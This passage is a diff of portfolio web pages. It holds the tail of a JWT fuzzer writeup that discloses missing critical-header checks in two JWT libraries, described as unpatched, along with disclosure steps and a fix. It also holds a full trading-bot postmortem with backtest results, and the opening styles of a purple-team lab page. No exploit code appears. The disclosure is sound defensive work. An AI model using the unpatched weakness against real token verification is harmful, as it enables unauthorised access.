bytes parse with different guarantees at different hops, the split-brain validation pattern documented in CVE-2025-59420 (Authlib).</p> | |
| + | <h2>Disclosure status</h2> | |
| + | <p>Both findings are the same defect, RFC 7515 §4.1.11 critical-header processing absent, in two libraries that remain unpatched. The defect is not hypothetical: the identical bug class was already disclosed and fixed in three sister libraries, which both confirms the impact and supplies the spec precedent that decides the correct behaviour.</p><table><thead><tr><th>Library</th><th>Advisory</th><th>Fixed</th></tr></thead><tbody><tr><td><code>PyJWT</code></td><td>CVE-2026-32597 / GHSA-752w-5fwx-jx9f</td><td>2.12.0</td></tr><tr><td><code>fast-jwt</code></td><td>CVE-2026-35042</td><td>per advisory</td></tr><tr><td><code>Authlib</code></td><td>CVE-2025-59420 / GHSA-9ggr-2464-2j32</td><td>per advisory, CVSS 7.5</td></tr><tr><td><strong><code>jsonwebtoken</code> (F001)</strong></td><td><strong>none</strong></td><td><strong>unpatched</strong></td></tr><tr><td><strong><code>python-jose</code> (F002)</strong></td><td><strong>none</strong></td><td><strong>unpatched</strong></td></tr></tbody></table><p>Each finding follows responsible-disclosure norms before broadening publication:</p><ol><li>Confirm the disagreement reproduces against the latest released version of each affected library.</li><li>Confirm a spec citation that picks a winner, the RFC mandates X, the library does not implement X.</li><li>File a GitHub Security Advisory at the affected repository.</li><li>Request a CVE via the repository's CNA or MITRE.</li><li>Wait for the upstream patch or embargo expiration before broadening publication.</li></ol><p>F001 was filed via GitHub Security Advisory at <code>auth0/node-jsonwebtoken</code> and F002 at <code>mpdavis/python-jose</code>, both with CVEs requested via MITRE. The suggested remediation in both writeups mirrors panva's contract: parse the header, validate that <code>crit</code> is a non-empty array of strings each present in the header, forbid reserved RFC names from appearing in it, and reject any entry not in a caller-supplied allowlist of supported extensions exposed through the public verify API.</p> | |
| + | </div> | |
| + | ||
| + | <p class="repo-line">Repository · github.com/zionboggan/jwt-differential-fuzzer</p> | |
| + | </div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"> | |
| + | <a href="/">Portfolio</a> | |
| + | <a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a> | |
| + | <a href="https://oversightprotocol.dev/">Oversight</a> | |
| + | <a href="mailto:zionboggan0@gmail.com">Email</a> | |
| + | </div> | |
| + | <div class="note">Built and deployed on a self-hosted Proxmox homelab. This page mirrors the | |
| + | project's documentation and results so the work is fully viewable here.</div> | |
| + | </div></footer> | |
| + | </body> | |
| + | </html> |
| @@ -0,0 +1,250 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"> | |
| + | <head> | |
| + | <meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Prediction-Market Bot Postmortem | Zion Boggan</title> | |
| + | <meta name="description" content="A Kalshi weather-trading bot taken from edge hypothesis to a documented, honest negative result, the evaluation harness, the era-split P&amp;L, and the payout math proving the market had no edge to find."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | /* detail pages */ | |
| + | .detail-hero{padding:40px 0 28px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:22px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(28px,5vw,42px);margin:0 0 12px;letter-spacing:-.6px;} | |
| + | .detail-hero .tagline{font-size:clamp(16px,2.2vw,19px);color:var(--soft);max-width:780px;margin:0 0 18px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(148px,1fr));gap:12px;margin-top:24px;} | |
| + | figure{margin:0;} | |
| + | .shot{border:1px solid var(--line2);border-radius:12px;overflow:hidden;background:#fff;margin:30px 0 6px;} | |
| + | .shot img,.shot video{display:block;width:100%;height:auto;} | |
| + | figcaption{font-size:13px;color:var(--muted);margin:11px 2px 0;} | |
| + | .content{padding:6px 0 0;} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:44px 0 16px;font-weight:600;border-top:1px solid var(--line);padding-top:30px;} | |
| + | .content h2.first{border-top:none;padding-top:6px;margin-top:18px;} | |
| + | .content p{color:var(--soft);margin:0 0 16px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 16px;padding-left:22px;} | |
| + | .content li{margin:6px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:13px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.5px;color:var(--soft);line-height:1.62;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.5px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content td code{font-size:12px;} | |
| + | .gallery{margin-top:8px;} | |
| + | .repo-line{margin:42px 0 0;color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | </style> | |
| + | <!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/prediction-market-bot-postmortem/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Prediction-Market Bot Postmortem | Zion Boggan"> | |
| + | <meta property="og:description" content="A Kalshi weather-trading bot taken from edge hypothesis to a documented, honest negative result, the evaluation harness, the era-split P&amp;L, and the payout math proving the market had no edge to find."> | |
| + | <meta property="og:url" content="https://zionboggan.com/prediction-market-bot-postmortem/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Prediction-Market Bot Postmortem | Zion Boggan"> | |
| + | <meta name="twitter:description" content="A Kalshi weather-trading bot taken from edge hypothesis to a documented, honest negative result, the evaluation harness, the era-split P&amp;L, and the payout math proving the market had no edge to find."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Prediction-Market Bot Postmortem","description":"A Kalshi weather-trading bot taken from edge hypothesis to a documented, honest negative result, the evaluation harness, the era-split P&amp;L, and the payout math proving the market had no edge to find.","url":"https://zionboggan.com/prediction-market-bot-postmortem/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head> | |
| + | <body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"> | |
| + | <a href="/#oversight">Oversight</a> | |
| + | <a href="/#labs">Labs</a> | |
| + | <a href="/#research">Research</a> | |
| + | <a href="/#background">Background</a> | |
| + | <a href="/">Home</a> | |
| + | </span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/#labs">← All work</a> | |
| + | <div class="kicker">MARKETS / QUANT</div> | |
| + | <h1>Prediction-Market Bot Postmortem</h1> | |
| + | <p class="tagline">A Kalshi weather-trading bot taken from edge hypothesis to a documented, honest negative result, the evaluation harness, the era-split P&L, and the payout math proving the market had no edge to find.</p> | |
| + | <div class="tags"><span>Quant</span><span>Backtesting</span><span>Evaluation harness</span><span>Honest negative result</span><span>Brier score</span><span>Expected value</span><span>Kalshi</span><span>Market microstructure</span><span>Walk-forward</span></div> | |
| + | <div class="facts"><div class="stat"><div class="n">138</div><div class="k">settled live trades audited</div></div><div class="stat"><div class="n">44.9%</div><div class="k">actual bracket hit rate (62/138)</div></div><div class="stat"><div class="n">66.2%</div><div class="k">break-even win rate required</div></div><div class="stat"><div class="n">0.51</div><div class="k">realized reward:risk ratio</div></div><div class="stat"><div class="n">−$160.72</div><div class="k">pre-fix-era P&L over 97 trades</div></div><div class="stat"><div class="n">0.37</div><div class="k">Gaussian Brier (0.25 = coin flip)</div></div></div> | |
| + | <div class="cta" style="margin-top:24px"></div> | |
| + | </div></header> | |
| + | <section><div class="wrap"> | |
| + | ||
| + | <div class="content"> | |
| + | <h2 class="first">The hypothesis</h2> | |
| + | <p>The premise was that a 31-member GFS ensemble plus the NWS point forecast could out-predict retail traders on Kalshi weather contracts, and that a Gaussian probability model fed by that ensemble would find mispriced single-degree temperature brackets to bet NO on. The earlier research notes pushed this hard: a variable Kalshi fee model (<code>ceil(0.07 × contracts × price × (1−price))</code> instead of a flat $0.05), extremized log-odds aggregation of ensemble + NWS + base rates, GFS run-timing awareness (data lands ~3.5h after 00/06/12/18Z), and explicit longshot-bias avoidance, all aimed at squeezing a 7-9% edge past the fee threshold.</p><p>The model itself was not the problem. Live testing confirmed the ensemble pipeline ran correctly, 31 members, ~1.7°F spread. The problem was the market the model was pointed at. The post-2024 Kalshi regime change is unforgiving: after the volume explosion from $30M to $820M/quarter, professional market makers entered and takers now lose on average. Any edge had to come from genuinely better information, and on single-degree brackets there was none to be had.</p> | |
| + | <h2>The evaluation harness</h2> | |
| + | <p>The repository ships the part worth keeping. The walk-forward backtester (<code>empirical_analysis.py</code>, standard library only) replays the committed trade dataset chronologically: for trade <em>i</em> it trains a Laplace-smoothed empirical P(hit) model on trades 0..i−1 only, compares it against the live Gaussian, and reports Brier, win rate, EV, and total P&L at four edge thresholds. The strict no-lookahead split is the whole point, it is what separates a real backtest from curve-fitting.</p><pre>def gaussian_p_hit(nws, lo, hi, mae=DEFAULT_MAE_FALLBACK): | |
| + | sigma = mae * math.sqrt(math.pi / 2.0) | |
| + | z_lo = (lo - nws) / sigma | |
| + | z_hi = (hi - nws) / sigma | |
| + | cdf = lambda z: 0.5 * (1.0 + math.erf(z / math.sqrt(2))) | |
| + | return max(0.0, cdf(z_hi) - cdf(z_lo)) | |
| + | ||
| + | def brier(pred, outcome): | |
| + | return (pred - outcome) ** 2</pre><p>The decision-gate evaluator (<code>c4_eval.py</code>) runs unattended on cron with no Claude session: it pulls shadow predictions, backfills outcomes from the Kalshi API, applies a hard liquidity filter, and scores Brier plus post-fee EV against criteria written down in advance. The EV and verdict logic is verbatim:</p><pre>fee = main.kalshi_taker_fee(px) | |
| + | won = (outcome == 1) if side_yes else (outcome == 0) | |
| + | ev = ((1.0 - px) - fee) if won else (-(px + fee)) | |
| + | evs.append(ev) | |
| + | ... | |
| + | cell_ok = bool(best_cell and best_cell[1] >= 10 and best_cell[3] > 0) | |
| + | passed = (ev_mean > 0) and (brier < BRIER_GATE) and cell_ok</pre> | |
| + | <h2>What the backtest showed</h2> | |
| + | <p>Two cuts settle the case. First, the calibration table, empirical P(hit) by distance of the NWS forecast from the bracket midpoint, against what the Gaussian predicted. The Gaussian is wrong in the same direction everywhere, badly underestimating the hit rate by 0.24 to 0.65:</p><table><thead><tr><th>|forecast−mid| <</th><th>n</th><th>emp P(hit)</th><th>Gaussian P(hit)</th><th>gap</th></tr></thead><tbody><tr><td>1.5°</td><td>4</td><td>0.750</td><td>0.105</td><td>+0.645</td></tr><tr><td>3.5°</td><td>60</td><td>0.350</td><td>0.085</td><td>+0.265</td></tr><tr><td>5.0°</td><td>28</td><td>0.429</td><td>0.062</td><td>+0.367</td></tr><tr><td>8.0°</td><td>12</td><td>0.667</td><td>0.029</td><td>+0.638</td></tr></tbody></table><p>The Gaussian Brier across all resolved trades is <strong>0.3705</strong>, worse than the 0.25 of a blind coin flip. Second, the walk-forward P&L at four edge thresholds, the Gaussian loses at every band, and the loss only deepens as you demand more edge (because the model's confidence is anti-correlated with reality):</p><table><thead><tr><th>min_edge</th><th>trades</th><th>WR</th><th>P&L</th><th>EV/trade</th><th>Brier</th></tr></thead><tbody><tr><td>0.45</td><td>5</td><td>20.0%</td><td>−$8.05</td><td>−$1.610</td><td>0.7345</td></tr><tr><td>0.35</td><td>20</td><td>35.0%</td><td>−$29.32</td><td>−$1.466</td><td>0.5785</td></tr><tr><td>0.25</td><td>75</td><td>52.0%</td><td>−$104.15</td><td>−$1.389</td><td>0.4259</td></tr><tr><td>0.15</td><td>97</td><td>56.7%</td><td>−$76.81</td><td>−$0.792</td><td>0.3825</td></tr></tbody></table><p>The walk-forward loss of −$104.15 at <code>min_edge=0.25</code> reproduces the bot's live −$94 in that band (the drift is data-join and unclamped-era accounting). The empirical model is better calibrated (Brier 0.2554 vs 0.3748 on all resolved) but it almost never finds a tradeable edge, which is itself the finding: there is nothing to trade.</p> | |
| + | <h2>Why the edge died</h2> | |
| + | <p>An era-split of the P&L was the decisive cut. Nearly 100% of the lifetime loss happened before the 2026-04-21 overconfidence-clamp patch; afterwards the bot was essentially break-even, not profitable. The −$157 total and 48% drawdown on the cumulative chart were old damage, not fresh losses.</p><table><thead><tr><th>Era</th><th>Trades</th><th>Avg ensemble prob</th><th>P&L</th><th>EV/trade</th></tr></thead><tbody><tr><td>Pre-Apr-21 (unclamped Gaussian)</td><td>97</td><td>0.01-0.14</td><td>−$160.72</td><td>−$1.66</td></tr><tr><td>Post-Apr-21 (MAE-σ floor active)</td><td>41</td><td>~0.10</td><td>+$3.06</td><td>≈ $0.00</td></tr></tbody></table><p>The payout math explains the floor at break-even. The narrow brackets hit <strong>62/138 = 44.9%</strong> of the time, near coin flips. The realized reward:risk was <strong>0.51</strong> (average win +$3.32, average loss −$6.46), which demands a break-even win rate of <code>1 / (1 + 0.51) ≈ 66.2%</code>. The bot's actual win rate was <strong>54.3%</strong>. You cannot make money betting NO on near-coin-flip events when the payout structure requires a 66% win rate. The Apr-21 MAE-σ floor crudely clamped the model's hit probability up to ~10%, which capped the catastrophic overconfidence but could never manufacture an edge that the market does not contain. Single-degree brackets sit below NWS/ensemble forecast resolution and Kalshi prices them efficiently.</p> | |
| + | <h2>The fixes that did and didn't work</h2> | |
| + | <p>Several fixes were tried across the bot's life; the honest accounting is mixed, and one fix was deployed against a bug that never existed.</p><ul><li><strong>Worked:</strong> the MAE-σ floor. It stopped the pre-Apr-21 catastrophic bleed by clamping the Gaussian's hit-probability floor. Do not remove it, removing it reproduces the −$160 era. But it produced break-even, not profit.</li><li><strong>Worked:</strong> the variable Kalshi fee formula. The flat $0.05 estimate was 2.5-5× too high on mid-priced contracts, which had been silently rejecting trades with 7-9% true edge. Correcting the fee math is real, but it only matters if an edge exists to clear it.</li><li><strong>Worked, narrowly:</strong> the hybrid bracket probability <code>max(Gaussian, raw_count±0.5°F)</code>, which caught converged-ensemble cases the Gaussian smeared out (Chicago: Gaussian said 31%, raw count showed 74%).</li><li><strong>Didn't work / rejected:</strong> a ±2°F NWS-distance guard blocked 7 winners and 0 losses for −$16.19 net, NWS distance is not a predictor of bracket failure. A METAR entry filter was dead code: trades are placed 12-30h before observations become informative.</li><li><strong>The fix against a non-problem:</strong> the 2026-04-27 audit blamed a dead <code>OPENMETEO_PROXY</code> node and fixed it. The ensemble pipeline was never dead. That memory entry is now flagged invalid.</li></ul><p>The root cause of the misdiagnosis loop was a logging gap. The <code>INSERT INTO trades</code> statement omitted three diagnostic columns (<code>raw_ensemble_probability</code>, <code>model_count</code>, <code>models_used</code>), so every row showed <code>model_count = 1</code> and a NULL ensemble probability. Three separate audits, an earlier one and the first two passes of this one, read that and concluded the 31-member ensemble was dead. It was not; the columns were simply never written. The bug never cost a cent of P&L, but it cost three audit cycles and one deployed fix on a non-problem. The oscillation is preserved in the writeup rather than smoothed over.</p> | |
| + | <h2>What I'd do differently</h2> | |
| + | <p>The cheapest thing you can do before shipping a bot is build the evaluator first, in shadow mode, with the gate criteria written down <em>before</em> you look at the numbers, then build the strategy. The unbuilt pivot spec encodes that discipline. The first shadow scans immediately exposed why a naive restart would just repeat the bleed: most logged markets were px = $0.01 with the model claiming 0.18-0.64 edge, deep-longshot illiquid contracts where the huge edges are model-overconfidence artifacts, not alpha. Hence the hard liquidity filter (px ≥ $0.10, volume ≥ 20) before any EV is computed at all.</p><ul><li><strong>Select the market first.</strong> Verify a payout structure can clear a defensible win rate before tuning any model. The pivot kills narrow brackets entirely (<code>MIN_BRACKET_WIDTH = 5.0°F</code>) and only trades threshold markets when <code>|forecast − threshold| ≥ 1.5 × city_MAE</code>, the zones where NWS genuinely beats retail.</li><li><strong>Gate restart on a no-capital evaluation.</strong> A pre-committed rule: ≥30 resolved liquid shadow predictions, Brier < 0.25, clearly positive post-fee EV, holding in the highest-volume city/market-type cell (not one lucky cluster). A structural <code>kalshi_place_order()</code> no-op under <code>SHADOW_MODE</code> makes risking capital impossible by construction, not by a single boolean.</li><li><strong>Treat a no-edge market as a stop signal.</strong> For a strategy with no edge, not trading is the correct play. There is zero historical data on the wider/threshold markets, so the pivot cannot be backtested, it requires a shadow data-collection window before any capital. With that appetite absent, the bot was retired. That is the right answer, and the framework is what made it defensible.</li></ul> | |
| + | </div> | |
| + | ||
| + | <p class="repo-line">Repository · github.com/zionboggan/prediction-market-bot-postmortem</p> | |
| + | </div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"> | |
| + | <a href="/">Portfolio</a> | |
| + | <a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a> | |
| + | <a href="https://oversightprotocol.dev/">Oversight</a> | |
| + | <a href="mailto:zionboggan0@gmail.com">Email</a> | |
| + | </div> | |
| + | <div class="note">Built and deployed on a self-hosted Proxmox homelab. This page mirrors the | |
| + | project's documentation and results so the work is fully viewable here.</div> | |
| + | </div></footer> | |
| + | </body> | |
| + | </html> |
| @@ -0,0 +1,306 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"> | |
| + | <head> | |
| + | <meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Purple-Team Lab | Zion Boggan</title> | |
| + | <meta name="description" content="Adversary emulation that validates the detections instead of assuming they work."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
